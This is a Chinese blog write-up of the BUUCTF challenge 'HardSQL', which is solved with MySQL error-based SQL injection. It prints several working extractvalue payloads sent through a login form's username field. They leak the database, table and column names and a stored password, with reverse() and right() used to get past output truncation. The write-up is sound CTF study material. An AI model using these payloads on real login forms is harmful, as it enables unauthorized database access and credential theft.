[极客大挑战 2019]HardSQL 对mysql的报错注入

[极客大挑战 2019]BabySQL

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

了解报错注入可以去这个师傅的博客看看
链接:https://www.cnblogs.com/richardlee97/p/10617115.html

一、收集信息

登录界面是这样

在这里插入图片描述
Fuzz一下发现union过滤了,双写没用的
但还有extractvalue和updatexm没给过滤,多半是报错注入了

二、payload

check.php?username=a'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23&password=a

在这里插入图片描述
这句话我也不是很明白,但是它就是那么利用的,希望有大佬能够教我弄懂:)
稍微更改一下中间的select语句来利用

check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")),0x7e)))%23
&password=a

在这里插入图片描述
出表后出列

check.php?
username=a'or(extractvalue(1,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")),0x7e)))%23
&password=a

在这里插入图片描述
然后直接读读看

check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))%23
&password=a

在这里插入图片描述
搞不懂为什么只有一部分,可能长度限制了吧
看了王叹之师傅的博客发现评论说updatexml和extractvalue可能都只返回32个字符,所以才显示不全
当然也参考了一下解决方法!

可以用reverse来反转读

check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(reverse(password))from(H4rDsq1)),0x7e)))%23
&password=a

在这里插入图片描述
虽然能拼接,但是很难看

也可以拿right()函数来读到剩下的

check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e)))%23
&password=a

在这里插入图片描述
这就好看多了!

总结

还是缺乏对注入类型的判断经验,写这篇博客也是边写边做
总的来说还是收获颇多!
感谢BUUCTF提供的平台练习!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值